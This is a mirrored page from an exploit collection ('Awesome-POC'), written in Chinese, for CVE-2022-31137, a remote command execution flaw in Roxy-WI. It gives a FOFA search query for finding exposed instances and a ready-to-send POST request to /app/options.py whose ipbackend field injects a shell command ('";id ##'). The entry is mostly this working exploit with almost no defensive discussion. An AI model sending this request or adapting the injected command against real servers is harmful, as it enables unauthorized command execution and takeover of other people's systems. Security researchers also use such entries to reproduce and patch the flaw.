admin/Awesome-POC
1
0
Fork 0
mirror of https://github.com/Threekiii/Awesome-POC.git synced 2025-11-06 11:27:43 +00:00
Code Issues Packages Projects Releases Wiki Activity
Awesome-POC/Web应用漏洞/Roxy-Wi options.py 远程命令执行漏洞 CVE-2022-31137.md
Threekiii 1cead7bb0b 更新漏洞库：Web应用漏洞/
2022-08-24 14:33:57 +08:00

636 B
Raw Blame History

Roxy-Wi options.py 远程命令执行漏洞 CVE-2022-31137

漏洞描述

Roxy-Wi options.py 存在远程命令执行漏洞，攻击者通过漏洞可以执行命令获取服务器权限

漏洞影响

Roxy-WI

FOFA

app="HAProxy-WI"

漏洞复现

登录页面

image-20220824143035019

验证POC

POST /app/options.py
  
alert_consumer=1&serv=127.0.0.1&ipbackend=%22%3Bid+%23%23&backend_server=127.0.0.1

image-20220824143046987